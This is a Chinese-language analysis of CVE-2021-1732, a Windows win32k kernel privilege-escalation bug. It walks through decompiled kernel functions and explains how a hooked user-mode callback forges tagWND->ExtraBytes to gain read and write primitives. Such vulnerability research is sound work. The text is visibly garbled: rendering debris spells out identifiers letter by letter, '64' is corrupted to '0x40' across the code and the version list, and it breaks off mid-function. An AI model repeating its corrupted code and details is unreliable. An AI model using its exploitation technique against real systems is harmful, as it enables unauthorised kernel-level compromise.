CVE-2021-1732 分析

CVE-2021-1732

0x0 漏洞描述

  • 漏洞发生在Windows 图形驱动 w i n 32 k f u l l ! N t U s e r C r e a t e W i n d o w E x \textcolor{cornflowerblue}{win32kfull!NtUserCreateWindowEx} win32kfull!NtUserCreateWindowEx​函数中的一处内核回调用户态分配内存与 t a g W N D ­ − > f l a g \textcolor{orange}{tagWND­->flag} tagWND­>flag​属性设置不同步导致的漏洞。使得可以伪造这个 t a g W N D ­ − > E x t r a B y t e s \textcolor{orange}{tagWND­->ExtraBytes} tagWND­>ExtraBytes​值 发生内存越界。

  • 当驱动win32kfull.sys调用 N t U s e r C r e a t e W i n d o w E x \textcolor{cornflowerblue}{NtUserCreateWindowEx} NtUserCreateWindowEx创建窗口时会判断 t a g W N D ­ − > c b W n d E x t r a \textcolor{orange}{tagWND­->cbWndExtra} tagWND­>cbWndExtra(窗 口实例额外分配内存数),该值不为空时调用 w i n 32 k f u l l ! x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{win32kfull!xxxClientAllocWindowClassExtraBytes} win32kfull!xxxClientAllocWindowClassExtraBytes 函数回调用户层 u s e r 32. d l l ! _ _ x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{user32.dll!\_\_xxxClientAllocWindowClassExtraBytes} user32.dll!__xxxClientAllocWindowClassExtraBytes分配空间,分配后的地址 使用 N t C a l l b a c k R e t u r n \textcolor{cornflowerblue}{NtCallbackReturn} NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当 t a g W N D ­ − > f l a g \textcolor{orange}{tagWND­->flag} tagWND­>flag 值包含0x800属性后该保存值变成了一个offset

  • 攻击者可以Hook u s e r 32. d l l ! x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{user32.dll!_xxxClientAllocWindowClassExtraBytes} user32.dll!xxxClientAllocWindowClassExtraBytes函数调用 N t U s e r C o n s o l e C o n t r o l \textcolor{cornflowerblue}{NtUserConsoleControl} NtUserConsoleControl修改 t a g W N D ­ − > f l a g \textcolor{orange}{tagWND­->flag} tagWND­>flag包含0x800属性值后使用 N t C a l l b a c k R e t u r n \textcolor{cornflowerblue}{NtCallbackReturn} NtCallbackReturn返回一个 自定义的值到内核 t a g W N D ­ − > E x t r a B y t e s \textcolor{orange}{tagWND­->ExtraBytes} tagWND­>ExtraBytes

0x1 受影响版本

Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM0x40­based Systems
Windows 10 Version 20H2 for 32­bit Systems
Windows 10 Version 20H2 for x0x40­based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x0x40­based Systems
Windows 10 Version 2004 for ARM0x40­based Systems
Windows 10 Version 2004 for 32­bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM0x40­based Systems
Windows 10 Version 1909 for x0x40­based Systems
Windows 10 Version 1909 for 32­bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM0x40­based Systems
Windows 10 Version 1809 for x0x40­based Systems
Windows 10 Version 1809 for 32­bit Systems
Windows 10 Version 1803 for ARM0x40­based Systems
Windows 10 Version 1803 for x0x40­based Systems

0x2 漏洞分析

■ 环境

Win10 x0x40 版本1909OS 内部版本18363.418

■ 分析

本分析基于漏洞描述和公开的POC,所以分析的顺序上有些跳跃。分析尽力详细阐述漏洞利用方式和如何编写提权EXP

根据漏洞描述,首先对 w i n 32 k f u l l ! N t U s e r C r e a t e W i n d o w E x \textcolor{cornflowerblue}{win32kfull!NtUserCreateWindowEx} win32kfull!NtUserCreateWindowEx的相关位置进行逆向分析,发现其实质调用了 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx,跟进此函数分析,漏洞点在 x x x C r e a t e W i n d o w E x : 845 \textcolor{orange}{xxxCreateWindowEx:845} xxxCreateWindowEx:845

if ( !(unsigned __int8)tagWND::RedirectedFieldcbwndExtra<int>::operator!=((char *)pWnd + 0xB1, &CurThread)// *(QWORD*)(pWnd[5]+0xc8)!=CurThread
    || (*(_QWORD *)(pWnd[5]                     // 这里
                  + 0x128) = xxxClientAllocWindowClassExtraBytes(*(unsigned int *)(pWnd[5] + 0xC8)),
        v0x182 = 0,
        !(unsigned __int8)tagWND::RedirectedFieldpExtraBytes::operator==<unsigned __int0x40>(pWnd + 40, &v242)) )
{
...    
}

pWnd[5]指向的是tagWND结构, t a g W N D + 0 x C 8 \textcolor{orange}{tagWND+0xC8} tagWND+0xC8指向的是nt!_KTHREAD结构, t a g W N D + 0 x 128 \textcolor{orange}{tagWND+0x128} tagWND+0x128ExtraBytes,并调用 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes在当前线程下为其窗口分配额外的空间。

volatile void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
  v1 = (unsigned int)Length;
  v11 = Length;
  if ( gdwInAtomicOperation && (gdwExtraInstrumentations & 1) != 0 )
    KeBugCheckEx(0x160u, gdwInAtomicOperation, 0, 0, 0);
  ReleaseAndReacquirePerObjectLocks::ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
  LeaveEnterCritProperDisposition::LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
  EtwTraceBeginCallback(123);
  ntst = KeUserModeCallback(0x7B, &v11, 4, &OutputBuffer, &retLen);//ApiNumber = 0x7B
  EtwTraceEndCallback(123);
  LeaveEnterCritProperDisposition::~LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
  ReleaseAndReacquirePerObjectLocks::~ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
  if ( ntst < 0 || retLen != 0x18 )
    return 0;
  v3 = OutputBuffer;
  if ( (char *)OutputBuffer + 8 < OutputBuffer || (unsigned __int0x40)OutputBuffer + 8 > MmUserProbeAddress )
    v3 = (LPVOID)MmUserProbeAddress;
  v8 = *(volatile void **)v3;
  v4 = v8;
  v5 = PsGetCurrentProcessWow0x40Process();
  ProbeForRead(v4, v1, v5 != 0 ? 1 : 4);
  return v4;
}

x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes​​通过用户态回调给窗口分配额外的内存,并且要求返回的长度为0x18 K e U s e r M o d e C a l l b a c k \textcolor{cornflowerblue}{KeUserModeCallback} KeUserModeCallback​​将ApiNumber作为KernelCallbackTable的索引,找到目标函数。KernelCallbackTable地址可以在 P E B + 0 x 58 \textcolor{orange}{PEB+0x58} PEB+0x58​​处取得。这里的用户态回调的函数为 u s e r 32 ! x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{user32!xxxClientAllocWindowClassExtraBytes} user32!xxxClientAllocWindowClassExtraBytes​​

NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int *a1)
{
  PVOID Result; // [rsp+20h] [rbp-28h] BYREF
  int v3; // [rsp+28h] [rbp-20h]
  __int0x40 v4; // [rsp+30h] [rbp-18h]

  v3 = 0;
  v4 = 0;
  Result = RtlAllocateHeap(pUserHeap, 8u, *a1);
  return NtCallbackReturn(&Result, 0x18u, 0);
}

正常情况下,该函数会使用 R t l A l l o c a t e H e a p \textcolor{cornflowerblue}{RtlAllocateHeap} RtlAllocateHeap​​​函数分配一个桌面堆作为窗口的额外数据空间,并返回0x18大小的数据。这里IDA识别有误,事实上Result是个QWORD数组,元素个数为3,所以返回的数据应该是 { 0 , 0 , H e a p _ a d d r } \textcolor{orange}{\{0,0,Heap\_addr\}} {0,0,Heap_addr}​​​而由于 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes​处于用户态下,容易受到用户态的HOOK,将会导致意外结果。为了更好的理解这个漏洞的利用和POC的编写,还需要了解几个关键函数。

■ NtUserConsoleControl逆向分析
__int0x40 __fastcall NtUserConsoleControl(unsigned int ControlCode, volatile void *Process_Info, unsigned int Size)
{
  SIZE_T v6; // rsi
  unsigned int v7; // ebx
  _QWORD Src[3]; // [rsp+40h] [rbp-38h] BYREF

  Src[0] = 0;
  Src[1] = 0;
  Src[2] = 0;
  EnterCrit(0, 1);
  if ( ControlCode > 6 )
  {
    v7 = -1073741823;
    UserSetLastStatus(-1073741811);
  }
  else if ( Size > 0x18 )
  {
    v7 = -1073741811;
  }
  else if ( Process_Info && Size )
  {
    v6 = Size;
    ProbeForRead(Process_Info, Size, 2u);
    memmove(Src, (const void *)Process_Info, Size);
    v7 = xxxConsoleControl(ControlCode, (struct _CONSOLE_PROCESS_INFO *)Src, Size);
    ProbeForWrite(Process_Info, v6, 2u);
    memmove((void *)Process_Info, Src, v6);
  }
  else
  {
    v7 = -1073741811;
  }
  UserSessionSwitchLeaveCrit();
  return v7;
}

N t U s e r C o n s o l e C o n t r o l \textcolor{cornflowerblue}{NtUserConsoleControl} NtUserConsoleControl的实质是调用 x x x C o n s o l e C o n t r o l \textcolor{cornflowerblue}{xxxConsoleControl} xxxConsoleControl,并将结果保存在Process_Info中。当 C o n t r o l C o d e = = 6 \textcolor{orange}{ControlCode == 6} ControlCode==6 时将会来到 x x x C o n s o l e C o n t r o l : 131 \textcolor{orange}{xxxConsoleControl:131} xxxConsoleControl:131

__int0x40 __fastcall xxxConsoleControl(__int0x40 ControlCode, struct _CONSOLE_PROCESS_INFO *Consle_Process_Info, int Size){
    ...
if ( (*(_DWORD *)(*(_QWORD *)pwnd + 0xE8) & 0x800) != 0 )// 一开始的tagWND* pwnd->Flags!=0x800,所以会走else分支 
    {
      Heap_Ptr = (_DWORD *)(*(_QWORD *)(v19 + 0x128) + *(_QWORD *)(*(_QWORD *)(Object_Ptr + 0x18) + 128));
    }
    else
    {                                           // 通过DeskAllocHeap从桌面堆中分配内存,
                                                // 分配大小由cbWndExtra指定
      Heap_Ptr = (_DWORD *)DesktopAlloc(*(_QWORD *)(Object_Ptr + 0x18), *(unsigned int *)(v19 + 0xC8), 0);//①
      if ( !Heap_Ptr )
      {
        v5 = -1073741801;
LABEL_33:
        ThreadUnlock1();
        return v5;
      }
      if ( *(_QWORD *)(*(_QWORD *)pwnd + 0x128) )
      {
        CurEproc = PsGetCurrentProcess(v22, v21, v23, v0x18);
        Extra_Size = *(_DWORD *)(*(_QWORD *)pwnd + 0xC8);
        Extra_Bytes = *(const void **)(*(_QWORD *)pwnd + 0x128);
        memmove(Heap_Ptr, Extra_Bytes, Extra_Size);
        if ( (*(_DWORD *)(CurEproc + 0x30C) & 0x40000008) == 0 )// EPROCESS *CurEpro->Flags
          xxxClientFreeWindowClassExtraBytes(Object_Ptr, *(LPVOID *)(*(_QWORD *)(Object_Ptr + 0x28) + 0x128));
      }
      *(_QWORD *)(*(_QWORD *)pwnd + 0x128) = (char *)Heap_Ptr - *(_QWORD *)(*(_QWORD *)(Object_Ptr + 0x18) + 0x80);// 重新设置tagWND *pwnd->Extra_Ptr指针  ②
    }
    if ( Heap_Ptr )
    {
      *Heap_Ptr = *((_DWORD *)Consle_Process_Info + 2);
      Heap_Ptr[1] = *((_DWORD *)Consle_Process_Info + 3);
    }
    *(_DWORD *)(*(_QWORD *)pwnd + 0xE8) |= 0x800u;// pwnd->Types  ③
    goto LABEL_33;
  }
}

如果 t a g W N D ∗ p w n d − > F l a g s   ! = 0 x 800 \textcolor{orange}{ tagWND* pwnd->Flags\ !=0x800} tagWNDpwnd>Flags !=0x800​​​,则会重新分配一个桌面堆**@line:10**,并将 t a g W N D ∗ p w n d − > E x t r a B y t e s \textcolor{orange}{ tagWND* pwnd->ExtraBytes} tagWNDpwnd>ExtraBytes​​​设置为基于桌面堆的偏移**@line:27**。 ∗ ( _ Q W O R D ∗ ) ( ∗ ( _ Q W O R D ∗ ) ( O b j e c t _ P t r + 0 x 18 ) + 0 x 80 ) \textcolor{orange}{*(\_QWORD *)(*(\_QWORD *)(Object\_Ptr + 0x18) + 0x80)} (_QWORD)((_QWORD)(Object_Ptr+0x18)+0x80)​​​存放的是当前窗口所在桌面堆的起始地址。然后将 t a g W N D ∗ p w n d − > T y p e s   ∣ =   0 x 800 \textcolor{orange}{ tagWND* pwnd->Types\ |=\ 0x800} tagWNDpwnd>Types = 0x800​​​​​,以此标记该窗口的额外数据采用桌面堆**+偏移的寻址方式@line:34**,这直接影响的是诸如**SetWindowLong***系列函数对其窗口的设置。

■ xxxSetWindowLong逆向分析

_ o f s e t > 0 \textcolor{orange}{\_ofset>0} _ofset>0​​ 的情况下,函数流程如下

__int0x40 __fastcall xxxSetWindowLong(CPullPin *this, int _offset, unsigned int NewLong, __int0x40 a4, int a5)
{
...
  v5 = a4;
  *(_QWORD *)&NewLong = NewLong;
  offset = a2;
  v9 = 0;
  if ( !(unsigned int)FCallerOk(this) )
    goto LABEL_28;
  ...
LABEL_5:
  v13 = *((_QWORD *)this + 5);
  if ( (*(_WORD *)(v13 + 42) & 0x3FFF) != 0 )
  {
    v23 = (unsigned int *)safe_cast_wf_to_PDIALOG(this);
   ...
  }
  result = v13;
  if ( (int)offset < 0 )
  {
    ...
LABEL_46:
    offset = 1413;
LABEL_37:
    UserSetLastError(offset);
    if ( v9 )
      KeDetachProcess();
    return 0;
  }
LABEL_7:
  v15 = *(unsigned int *)(result + 0xFC);          // 实际调试发现,v15=0
  if ( (unsigned __int0x40)(unsigned int)offset + 4 > (unsigned int)(v15 + *(_DWORD *)(result + 0xC8)) )// offset不能超过tagWND->cbWndExtra-4  ①
    goto LABEL_46;
  ...
LABEL_10:
  v17 = (int)offset;
  if ( (int)offset + 4 <= v15 )
  {
    v30 = *((_QWORD *)this + 0x23);
    OldLong = *(_DWORD *)((int)offset + v30);
    *(_DWORD *)(v17 + v30) = NewLong;
  }
  else
  {
    v18 = offset - v15;
    if ( (*(_DWORD *)(v13 + 0xE8) & 0x800) != 0 )//②
      v19 = (unsigned int *)(*(_QWORD *)(v13 + 0x128) + v18 + *(_QWORD *)(*((_QWORD *)this + 3) + 0x80));
    else
      v19 = (unsigned int *)(*(_QWORD *)(v13 + 0x128) + v18);
    OldLong = *v19;//②
    *v19 = NewLong;//③
  }
LABEL_14:
  if ( v9 )
    KeDetachProcess();
  return OldLong;//④
}

o f f s e t   < =   t a g W N D − > c b W n d E x t r a − 4 \textcolor{orange}{offset\ <=\ tagWND->cbWndExtra-4} offset <= tagWND>cbWndExtra4时,会判断 t a g W N D − > T y p e s \textcolor{orange}{tagWND->Types} tagWND>Types 。如果标记了0x800,则会采用桌面堆(DeskHeap)+偏移(offset)的方式,向 D e s k H e a p + t a g W N D − > E x t r a B y t e s \textcolor{orange}{DeskHeap+tagWND->ExtraBytes} DeskHeap+tagWND>ExtraBytes写入NewLong;没有标记0x800,则直接向 t a g W N D − > E x t r a B y t e s \textcolor{orange}{tagWND->ExtraBytes} tagWND>ExtraBytes写入NewLong,最后返回旧的值②③④。该函数对应的用户层接口为 S e t W i n d o w L o n g \textcolor{cornflowerblue}{SetWindowLong} SetWindowLong​。

■ xxxSetWindowLongPtr逆向分析
unsigned __int0x40 __fastcall xxxSetWindowLongPtr(struct tagWND *this, int nIndex, __int0x40 NewLong, __int0x40 a4, int a5)
{
...
...
if ( (int)nIndex_1 < 0 )
      goto LABEL_7;
if ( (int)nIndex_1 >= 0 )
  {
LABEL_24:
    tagWnd_1 = *((_QWORD *)pkwnd + 5);
    v24 = *(unsigned int *)(tagWnd_1 + 0xFC);   // 实际调试发现v24=0
    if ( (unsigned __int64)(unsigned int)nIndex_1 + 8 <= (unsigned int)(v24 + *(_DWORD *)(tagWnd_1 + 0xC8)) )
    {
      ...
      v25 = *(_WORD **)(*((_QWORD *)pkwnd + 0x11) + 8i64);
      if ( (v25[3] & 0x100) == 0 )
        goto LABEL_27;
      v40 = 0i64;
      v41 = &gDefaultServerClasses;
      while ( *v25 != *(_WORD *)(gpsi + 2i64 * ((*v41 >> 3) & 0x1F) + 0x364) )
      {
        v40 = (unsigned int)(v40 + 1);
        v41 += 12;
        if ( (unsigned int)v40 >= 8 )
          goto LABEL_27;
      }
      if ( (int)nIndex_1 >= *((_DWORD *)&gDefaultServerClasses + 12 * v40 + 6)
        || (*v41 & 0xF8) == 0xB0 && (unsigned __int64)((int)nIndex_1 + 8i64) <= 0xFFFFFFFFFFFFFEE0ui64 )
      {
LABEL_27:
        v26 = (int)nIndex_1;
        if ( (int)nIndex_1 + 8i64 <= v24 )
        {
            ...
        }
        else
        {
          offset = nIndex_1 - v24;//实际上v24=0,所以offset=nIndex_1=nIndex
          if ( (*(_DWORD *)(tagWnd_1 + 0xE8) & 0x800) != 0 )
            LongPtr = (__int64 *)(*(_QWORD *)(tagWnd_1 + 0x128) + offset + *(_QWORD *)(*((_QWORD *)pkwnd + 3) + 128i64));
          else
            LongPtr = (__int64 *)(*(_QWORD *)(tagWnd_1 + 0x128) + offset);
          OldLongPtr = *LongPtr;
          *LongPtr = NewLongPtr;
        }
        goto LABEL_8;
      }
      v39 = 5i64;
LABEL_51:
      UserSetLastError(v39);
      if ( v9 )
        KeDetachProcess();
      return 0i64;
    }
LABEL_50:
    v39 = 1413i64;
    goto LABEL_51;
  }
LABEL_7:
  OldLongPtr = xxxSetWindowData(pkwnd, nIndex_1, NewLongPtr, v5);
...
}
  • n I n d e x = 0 \textcolor{orange}{nIndex=0} nIndex=0时,会向 t a g W N D − > E x t r a B y t e s \textcolor{orange}{tagWND->ExtraBytes} tagWND>ExtraBytes​写入NewLong

  • n I n d e x > 0 \textcolor{orange}{nIndex > 0} nIndex>0 n I n d e x < 0 x F F F F F F F F F F F F F E E 0 − 8 \textcolor{orange}{nIndex<0xFFFFFFFFFFFFFEE0-8} nIndex<0xFFFFFFFFFFFFFEE08时,就会设置 t a g W n d − > E x t r a B y t e s \textcolor{orange}{tagWnd->ExtraBytes} tagWnd>ExtraBytes@line:39 @line:43 @line:44

  • n I n d e x < 0 \textcolor{orange}{nIndex<0} nIndex<0时,调用 x x x S e t W i n d o w D a t a \textcolor{cornflowerblue}{xxxSetWindowData} xxxSetWindowData,对于该函数重点关注 n I n d e x = − 12 \textcolor{orange}{nIndex=-12} nIndex=12​​的情况,因为POC利用过这个情况

unsigned __int0x40 __fastcall xxxSetWindowData(CPullPin *this, unsigned int nIndex, __int0x40 NewLong, unsigned int a4)
{
    ...
    switch ( nIndex )
  {
    case 0xFFFFFFF4://-12  设置子窗口的新标识符。该窗口不能是顶级窗口。
      v46 = *((_QWORD *)this + 5);
      if ( (*(_BYTE *)(v46 + 0x1F) & 0xC0) == 0x40 )
      {
        result = *((_QWORD *)this + 0x15);
        *(_QWORD *)(v46 + 0x98) = NewLong;
        *((_QWORD *)this + 0x15) = NewLong;
      }
      else
      {
        v47 = (unsigned __int0x40 *)*((_QWORD *)this + 21);
        result = 0;
        if ( v47 )
          result = *v47;
        if ( NewLong )
        {
          v48 = ValidateHmenu(NewLong);
          v62 = 0;
          SmartObjStackRefBase<tagMENU>::operator=(&v60, v48);
          if ( (unsigned __int8)SmartObjStackRef<tagMENU>::operator==(&v60, v49) )
          {
LABEL_91:
            result = 0;
            goto LABEL_0x60;
          }
          LockWndMenuWorker(this, 0, &v60);
        }
        else
        {
          UnlockWndMenuWorker(this, 0);
        }
      }
      goto LABEL_0x60;
  }
    ...
}

t a g W N D − > S t y l e \textcolor{orange}{tagWND->Style} tagWND>Style​​包含WS_CHLD时**@line:8**, t a g W n d − > s p M e n u = N e w L o n g \textcolor{orange}{tagWnd->spMenu = NewLong} tagWnd>spMenu=NewLong​​ @line:12,这里将会是后面获取读原语的切入点。

■ CreateWindowEx生成HWND分析

C r e a t e W i n d o w E x \textcolor{cornflowerblue}{CreateWindowEx} CreateWindowEx​调用内核的 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx​​函数,其532行:

WndObject = HMAllocObject(CurThread_1, rdesk, Type, 0x150);
  pWnd = (_QWORD *)WndObject;
  v217 = (_QWORD *)WndObject;
  if ( !WndObject )
  {
    if ( (unsigned int)UserGetLastError() != 8 )
      goto LABEL_569;
    v39 = MEMORY[0xFFFFF78000000320];
    v0x181 = MEMORY[0xFFFFF78000000320];
    v40 = 1;
LABEL_77:
    v41 = ((unsigned __int0x40)MEMORY[0xFFFFF78000000004] << 32) * (unsigned __int128)(unsigned __int0x40)(v39 << 8);
LABEL_78:
    TraceLoggingCreateWindowFailed(v40, *((unsigned __int0x40 *)&v41 + 1));
    goto LABEL_569;
  }
  tagObjLock::LockInitialize((tagObjLock *)(WndObject + 0x38));
  if ( (*(_DWORD *)(*(_QWORD *)(pWnd[2] + 0x1A0) + 0x32C) & 0x2000000) != 0 )
    *((_DWORD *)pWnd + 0x52) |= 0x10u;
  *(_QWORD *)(pWnd[5] + 0x128) = 0;
  pWnd[35] = 0;
  *(_DWORD *)(pWnd[5] + 0xE8) &= 0xBFFFFFFF;
  *(_DWORD *)(pWnd[5] + 0x124) = W32GetCurrentThreadDpiHostingBehavior();
...

H M A l l o c O b j e c t \textcolor{cornflowerblue}{HMAllocObject} HMAllocObject中的CurThread_1表示当前的线程信息,rdesk表示 p t i C u r r e n t − > r d e s k \textcolor{orange}{ptiCurrent->rdesk} ptiCurrent>rdesk​,这里的Type1表示WindowsWndObject即是tagWND

...
if ( (v9 & 0x10) != 0 && rdesk )
  {
    if ( (int)IsDesktopAllocSupported() < 0 )
      goto LABEL_67;
    tagWndKernel = (unsigned __int0x40 *)HMAllocateUserOrIsolatedType(Size, v9, type_1);
    if ( !tagWndKernel )
      goto LABEL_67;
    DeskHeap = DesktopAlloc(rdesk, *(unsigned int *)((char *)&gahti + v38 + 16), ((unsigned __int8)type_1 << 16) | 5u);
    tagWndKernel[5] = DeskHeap;
    if ( !DeskHeap )
    {
      HMFreeUserOrIsolatedType(v9, type_1, tagWndKernel);
      goto LABEL_67;
    }
    LockObjectAssignment(tagWndKernel + 3, rdesk);
    DeskHeap_1 = tagWndKernel[5];
    tagWndKernel[4] = (unsigned __int0x40)tagWndKernel;
    tagWndKernel[6] = DeskHeap_1 - *(_QWORD *)(rdesk + 0x80);
  }
...
hwnd = (int)v15 | (unsigned __int0x40)(*(unsigned __int16 *)((char *)qword_1C0215758
                                                           + v15 * (unsigned int)dword_1C02150x4C0
                                                           + 26) << 16);
  *tagWndKernel = hwnd;
  if ( *(_DWORD *)((char *)&gahti + v38 + 16) )
  {
    tagWnd = (unsigned __int0x40 *)tagWndKernel[5];
    *tagWnd = hwnd;
    tagWnd[1] = tagWndKernel[6];
  }
  if ( v4 )
  {
    v22 = ++*(_DWORD *)(v4 + 0x44);
    if ( v22 > *(_DWORD *)(v4 + 0x48) )
      *(_DWORD *)(v4 + 0x48) = v22;
  }

T y p e = 1 \textcolor{orange}{Type=1} Type=1​时,采用桌面堆进行分配。hwnd的计算方式见**@ line:22**​

  • t a g W n d [ 0 ] \textcolor{orange}{tagWnd[0]} tagWnd[0]保存窗口句柄hwnd
  • t a g W n d [ 1 ] \textcolor{orange}{tagWnd[1]} tagWnd[1]​保存着tagWnd地址与桌面堆地址的偏移
■ CreateMenu逆向分析

调用流程: C r e a t e M e n u ( ) − > N t U s e r C a l l N o P a r a m ( 0 ) − > a p f n S i m p l e C a l l [ 0 ] ( ) − > I n t e r n a l C r e a t e M e n u ( 0 , a 2 , a 3 ) \textcolor{orange}{CreateMenu()->NtUserCallNoParam(0)->apfnSimpleCall[0]()->InternalCreateMenu(0, a2, a3)} CreateMenu()>NtUserCallNoParam(0)>apfnSimpleCall[0]()>InternalCreateMenu(0,a2,a3)

__int64 __fastcall InternalCreateMenu(int a1, __int64 a2, __int64 type)
{
  __int64 v4; // rsi
  __int64 pMenu; // rax
  __int64 pMenu_1; // rbx
//做一些检查
  v4 = *(_QWORD *)(gptiCurrent + 0x1C0i64);
  if ( *(_QWORD *)(gptiCurrent + 0x248i64)
    && !(unsigned int)CheckGrantedAccess(*(unsigned int *)(gptiCurrent + 0x378i64), 4i64) )
  {
    return 0i64;
  }
  LOBYTE(tyep) = 2;
  //根据类型分配对象
  pMenu = HMAllocObject(gptiCurrent, v4, type, 160i64);
  pMenu_1 = pMenu;
  if ( pMenu )
  {
    if ( !(unsigned __int8)InitLookAsideRef<tagMENU>(pMenu) )
    {
      HMFreeObject(pMenu_1);
      pMenu_1 = 0i64;
    }
    if ( pMenu_1 )
    {
      if ( a1 )//a1=0
      {
        *(_DWORD *)(*(_QWORD *)(pMenu_1 + 0x28) + 0x28i64) = 1;
        *(_QWORD *)(pMenu_1 + 0x80) = 0i64;
        *(_QWORD *)(pMenu_1 + 0x88) = 0i64;
        *(_DWORD *)(pMenu_1 + 0x90) = 0;
      }
    }
  }
  return pMenu_1;
}

char __fastcall InitLookAsideRef<tagMENU>(__int64 pMenu)
{
  __int64 *KernelHeap; // rax

  if ( !gpStackRefLookAside )
    KeBugCheck(4u);
  KernelHeap = (__int64 *)Win32AllocateFromPagedLookasideList();//返回0x20大小的KernelHeap
  *(_QWORD *)(pMenu + 0x98) = KernelHeap;
  if ( KernelHeap )
  {
    *KernelHeap = pMenu;
    *(_DWORD *)(*(_QWORD *)(pMenu + 0x98) + 8i64) = 0;
    *(_BYTE *)(*(_QWORD *)(pMenu + 0x98) + 0xCi64) = 0;
    LOBYTE(KernelHeap) = 1;
  }
  return (char)KernelHeap;
}

仅仅通过这个函数并不能知晓其中涉及到的tagMenu偏移的具体含义,这的目的只是弄明白tagMenu一些必要的偏移量的设置,后面编写POC需要用到。该函数只设置了tagMenu偏移为0x98的成员。 t a g M e n u + 0 x 98 \textcolor{orange}{tagMenu+0x98} tagMenu+0x98是一个指针,指向tagMenu结构自身。

■ xxxGetMenuBarInfo逆向分析

x x x G e t M e n u B a r I n f o \textcolor{cornflowerblue}{xxxGetMenuBarInfo} xxxGetMenuBarInfo N t U s e r G e t M e n u B a r I n f o \textcolor{cornflowerblue}{NtUserGetMenuBarInfo} NtUserGetMenuBarInfo调用, N t U s e r G e t M e n u B a r I n f o \textcolor{cornflowerblue}{NtUserGetMenuBarInfo} NtUserGetMenuBarInfo对应的用户态函数为 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo​​。漏洞利用到该函数位置为

...
switch ( idObject )
  {
    case -3:
      if ( (*(_BYTE *)(tagWND + 0x1F) & 0x40) != 0 )// tagWND->Style 包含 WS_CHLD
        goto LABEL_9;
      pMenu = Khwnd[0x15];                      // 0xA8
      if ( !pMenu )
        goto LABEL_9;
      v75 = 0;
      SmartObjStackRefBase<tagMENU>::operator=(&tagMenu, pMenu);
      if ( !(unsigned __int8)SmartObjStackRef<tagMENU>::operator bool(&tagMenu)
        || (int)idItem_1 < 0
        || (unsigned int)idItem_1 > *((_DWORD *)(*tagMenu)[5] + 0xB) )//tagMenu->idItem
      {
        goto LABEL_9;
      }
      phMenu = v75;
      if ( !v75 )
        phMenu = *tagMenu;
      BarInfo->hMenu = *phMenu;
      if ( *((_DWORD *)*tagMenu + 0x10) && *((_DWORD *)*tagMenu + 0x11) )//尚不明确其含义,经测试只要是有一个菜单项,且菜单位于窗口之上就能通过该条件判断
      {
        if ( (_DWORD)idItem_1 )                 // idItem表示菜单项
        {
          tagWnd = Khwnd[5];
          Next = 0x60 * idItem_1;
          MenuEntry = (*tagMenu)[0xB];//菜单项链表头
          //根据idItem定位菜单项
          rgItems = *((_QWORD *)MenuEntry + 0xC * idItem_1 - 0xC);// tagWND->spmenu->rgItems
          if ( (*(_BYTE *)(tagWnd + 0x1A) & 0x40) != 0 )
          {
            top = *(_DWORD *)(tagWnd + 0x60) - *(_DWORD *)(rgItems + 0x40);
            BarInfo->rcBar.top = top;
            HIDWORD(BarInfo->cbSize) = top - *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x48);
          }
          else//经测试,一般走else分支,包括POC
          {
            cbSize = *(_DWORD *)(rgItems + 0x40) + *(_DWORD *)(tagWnd + 0x58);
            HIDWORD(BarInfo->cbSize) = cbSize;
            BarInfo->rcBar.top = cbSize + *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x48);
          }
          //left = pMenu->left + tagWnd->left
          left = *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x44) + *(_DWORD *)(Khwnd[5] + 0x5C);
          BarInfo->rcBar.left = left;
          //right = left + pMenu->right
          right = left + *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x4C);
        }
        else...
        BarInfo->rcBar.right = right;
      }
      pPopMenuEntry = *(__int64 **)(Khwnd[2] + 0x258);
      if ( pPopMenuEntry )
        pPopMenu_1 = *pPopMenuEntry;
      else
        pPopMenu_1 = 0;
      SmartObjStackRefBase<tagPOPUPMENU>::operator=(&tagPopupMenu, pPopMenu_1);
      if ( *(_QWORD *)tagPopupMenu && (**(_DWORD **)tagPopupMenu & 2) != 0 && (**(_DWORD **)tagPopupMenu & 4) == 0 )
      {
LABEL_60:
        if ( *(_QWORD **)(*(_QWORD *)tagPopupMenu + 8) != Khwnd )
          break;
        v46 = *(_DWORD *)&BarInfo->fBarFocused | 1;
        *(_DWORD *)&BarInfo->fBarFocused = v46;
        if ( (_DWORD)idItem_1 )
        {
